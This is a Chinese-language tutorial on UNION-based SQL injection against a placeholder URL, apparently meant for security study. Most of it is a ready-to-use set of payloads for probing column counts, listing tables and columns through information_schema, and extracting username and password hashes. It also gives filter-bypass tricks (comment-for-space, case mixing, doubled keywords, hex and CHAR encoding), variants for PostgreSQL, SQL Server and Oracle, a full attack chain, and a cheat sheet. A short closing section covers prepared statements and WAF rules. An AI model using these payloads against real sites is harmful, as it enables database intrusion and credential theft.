前置知识
本文假设以下场景:
- 注入点:
http://example.com/page?id=1 - 已确认列数:3列(通过ORDER BY探测)
- 回显位置:第2列(页面显示数字2的位置)
⚠️ 免责声明:本文仅用于安全学习和防御研究,请勿用于非法用途。
第一阶段:信息探测
1. 探测列数(ORDER BY法)
-- 原理:ORDER BY 数字 按第几列排序,数字超过列数会报错
-- 使用二分法探测
-- 测试第3列是否存在
id=1 ORDER BY 3 -- -
-- 正常响应 → 列数 ≥ 3
-- 测试第4列是否存在
id=1 ORDER BY 4 -- -
-- 报错响应 → 列数 = 3
2. 确定回显位置
-- 使用UNION SELECT,让原查询返回空(如id=-1)
-- 数字1,2,3是占位符,用于观察页面回显位置
id=-1 UNION SELECT 1,2,3 -- -
-- 页面显示 "2" → 第2列会被输出
-- 后续攻击就在第2列的位置注入恶意代码
3. 获取当前数据库名
-- database()函数返回当前使用的数据库名
id=-1 UNION SELECT 1, database(), 3 -- -
-- 返回示例:myblog_db
第二阶段:获取表结构
4. 获取所有表名
-- information_schema.tables:MySQL系统表
-- group_concat():将多行合并成一行(绕过UNION单行限制)
id=-1 UNION SELECT 1, group_concat(table_name), 3
FROM information_schema.tables
WHERE table_schema = database() -- -
-- 返回示例:users,products,admin,orders
为什么必须用group_concat?
| 不使用group_concat | 使用group_concat |
|---|---|
| 返回多行数据 | 返回单行合并数据 |
| 页面只显示第一行 | 页面显示所有表名 |
| 只能看到users | 看到所有表 |
5. 获取指定表的列名
-- information_schema.columns:存储所有列信息
-- 基础版(表名用引号)
id=-1 UNION SELECT 1, group_concat(column_name), 3
FROM information_schema.columns
WHERE table_name = 'users' -- -
-- 十六进制绕过(引号被过滤时使用)
-- 'users' 的十六进制:0x7573657273
id=-1 UNION SELECT 1, group_concat(column_name), 3
FROM information_schema.columns
WHERE table_name = 0x7573657273 -- -
-- 返回示例:id,username,password,email,role
第三阶段:提取数据
6. 提取表中所有数据
-- 基础版:合并所有记录
id=-1 UNION SELECT 1, group_concat(username, ':', password SEPARATOR ' | '), 3
FROM users -- -
-- 返回:admin:e10adc3... | john:25d55ad... | test:098f6bc...
-- 格式化版:每条记录换行显示(0x0a是换行符)
id=-1 UNION SELECT 1, group_concat(username, ':', password SEPARATOR 0x0a), 3
FROM users -- -
-- 多列提取版
id=-1 UNION SELECT 1, group_concat(id, '|', username, '|', email SEPARATOR ' === '), 3
FROM users -- -
7. 带条件的数据提取
-- 只查特定用户
id=-1 UNION SELECT 1, group_concat(username, ':', password), 3
FROM users
WHERE username = 'admin' -- -
-- 分页查询(绕过group_concat长度限制)
id=-1 UNION SELECT 1, group_concat(username, ':', password SEPARATOR ' | '), 3
FROM users
LIMIT 0,3 -- - -- 第1页
id=-1 UNION SELECT 1, group_concat(username, ':', password SEPARATOR ' | '), 3
FROM users
LIMIT 3,3 -- - -- 第2页
第四阶段:高级技巧
8. 不使用group_concat的逐条提取
-- 场景:group_concat被过滤或结果太长
-- 原理:用LIMIT一次只取一条
id=-1 UNION SELECT 1, username, 3 FROM users LIMIT 0,1 -- - -- 第1条
id=-1 UNION SELECT 1, username, 3 FROM users LIMIT 1,1 -- - -- 第2条
id=-1 UNION SELECT 1, username, 3 FROM users LIMIT 2,1 -- - -- 第3条
9. 自定义分隔符
-- 避免逗号与数据混淆
id=-1 UNION SELECT 1, group_concat(table_name SEPARATOR ' | '), 3
FROM information_schema.tables
WHERE table_schema = database() -- -
-- 返回:users | products | admin | orders
-- 使用易解析的分隔符
id=-1 UNION SELECT 1, group_concat(table_name SEPARATOR '<!--sep-->'), 3
FROM information_schema.tables
WHERE table_schema = database() -- -
10. 注释符绕过空格过滤
-- 空格被过滤时使用注释/**/代替空格
id=-1/**/UNION/**/SELECT/**/1,group_concat(table_name),3/**/FROM/**/information_schema.tables/**/WHERE/**/table_schema=database()-- -
-- URL编码版本(%20=空格,%23=#)
id=-1%20UNION%20SELECT%201,database(),3%20--%20-
其他数据库语法对照
PostgreSQL
-- 查表名(string_agg替代group_concat)
id=-1 UNION SELECT 1, string_agg(table_name, ','), 3
FROM information_schema.tables
WHERE table_schema = current_database() -- -
-- 查数据(||拼接字符串)
id=-1 UNION SELECT 1, string_agg(username || ':' || password, ' | '), 3
FROM users -- -
SQL Server (2017+)
-- 查表名
id=-1 UNION SELECT 1, STRING_AGG(table_name, ','), 3
FROM information_schema.tables
WHERE table_type = 'BASE TABLE' -- -
-- 查数据
id=-1 UNION SELECT 1, STRING_AGG(CONCAT(username, ':', password), ' | '), 3
FROM users -- -
SQL Server (旧版)
-- 使用FOR XML PATH拼接
id=-1 UNION SELECT 1,
STUFF((SELECT ',' + table_name FROM information_schema.tables FOR XML PATH('')),1,1,''), 3
Oracle
-- 查表名(注意:Oracle表名默认大写)
id=-1 UNION SELECT 1, LISTAGG(table_name, ',') WITHIN GROUP (ORDER BY table_name), 3
FROM all_tables
WHERE owner = user -- -
常见问题与解决方案
问题1:数据被截断
现象:只显示部分数据(末尾不完整)
原因:group_concat_max_len 默认1024字符
解决方案:
-- 方案A:分批查询
id=-1 UNION SELECT 1, group_concat(username, ':', password), 3
FROM users LIMIT 0,3 -- -
-- 方案B:修改session变量(需要较高权限)
id=-1; SET SESSION group_concat_max_len = 1000000;
UNION SELECT 1, group_concat(username, ':', password), 3 FROM users -- -
问题2:关键字被过滤
解决方案:
-- 大小写绕过
Id=-1 UnIoN SeLeCt 1,database(),3 -- -
-- 双写绕过
id=-1 UNIUNIONON SELECT 1,database(),3 -- -
-- 注释插入绕过
id=-1 UN/**/ION SEL/**/ECT 1,database(),3 -- -
-- 十六进制编码(关键字符串)
-- "SELECT" 可用 CHAR(83,69,76,69,67,84) 表示
问题3:引号被过滤
-- 使用十六进制表示字符串
-- 'users' → 0x7573657273
WHERE table_name = 0x7573657273
-- 使用CHAR()函数
WHERE table_name = CHAR(117,115,101,114,115)
完整攻击链示例
-- Step 1: 探测列数
id=1 ORDER BY 3 -- - (正常)
id=1 ORDER BY 4 -- - (报错 → 列数=3)
-- Step 2: 确定回显位
id=-1 UNION SELECT 1,2,3 -- - (页面显示2 → 第2列可回显)
-- Step 3: 查数据库名
id=-1 UNION SELECT 1, database(), 3 -- -
-- 返回:myblog
-- Step 4: 查所有表名
id=-1 UNION SELECT 1, group_concat(table_name), 3
FROM information_schema.tables WHERE table_schema = database() -- -
-- 返回:users,posts,admin
-- Step 5: 查admin表的列名
id=-1 UNION SELECT 1, group_concat(column_name), 3
FROM information_schema.columns WHERE table_name = 'admin' -- -
-- 返回:id,username,password
-- Step 6: 提取数据
id=-1 UNION SELECT 1, group_concat(username, ':', password SEPARATOR ' | '), 3
FROM admin -- -
-- 返回:admin:5f4dcc3b5aa765d61d8327deb882cf99 | root:25d55ad283aa400af464c76d713c07ad
速查表
| 目的 | 核心SQL片段 |
|---|---|
| 查数据库名 | database() |
| 查所有表名 | group_concat(table_name) FROM information_schema.tables WHERE table_schema=database() |
| 查列名 | group_concat(column_name) FROM information_schema.columns WHERE table_name='表名' |
| 查数据 | group_concat(列1,':',列2) FROM 表名 |
| 十六进制编码 | 0x7573657273 (users) |
| 注释代替空格 | /**/ |
| 换行符 | 0x0a |
| SQL注释 | -- - 或 # |
防御措施(开发者必读)
// ✅ 正确做法:参数化查询(Prepared Statements)
$stmt = $pdo->prepare("SELECT * FROM users WHERE id = ?");
$stmt->execute([$_GET['id']]);
// ❌ 错误做法:字符串拼接(可被注入)
$sql = "SELECT * FROM users WHERE id = " . $_GET['id'];
// 其他防御措施:
// 1. 最小权限原则:Web数据库账号不应有访问information_schema的权限
// 2. WAF规则:拦截 group_concat、information_schema 等关键字
// 3. 错误处理:不向客户端返回详细数据库错误信息